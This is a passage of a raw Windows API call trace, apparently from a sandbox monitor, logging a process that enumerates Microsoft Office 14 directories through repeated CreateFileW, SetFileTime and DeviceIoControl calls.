lpLastWriteTime=0x1a7e33c) returned 0 [0145.380] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.381] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.381] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.382] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.382] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.383] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.383] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.384] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.384] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.385] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.385] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.388] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.388] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.389] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.389] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.390] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.390] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.390] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.390] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.391] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.391] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.392] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.392] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.393] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.393] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0145.395] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.395] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.401] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.401] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.406] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e5f4, lpLastWriteTime=0x1a7e5f4) returned 0 [0145.406] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0) returned 0 [0145.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.407] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.407] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.409] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e084, lpLastWriteTime=0x1a7e084) returned 0 [0145.409] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e0dc, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e0dc, lpOverlapped=0x0) returned 0 [0145.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0145.411] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x1a7e084, lpLastWriteTime=0x1a7e084) returned 0 [0145.411] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e0dc, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e0dc, lpOverlapped=0x0) returned 0 [0145.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0145.415] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.415] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.419] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.419] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.424] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.425] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.429] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.429] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.434] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.434] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.439] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.439] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0145.443] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.443] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.446] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.447] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.450] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.450] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.453] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.453] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.459] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.459] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0145.463] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.463] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x1ab44d0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0145.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0145.469] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0145.469] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1ab44d0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: 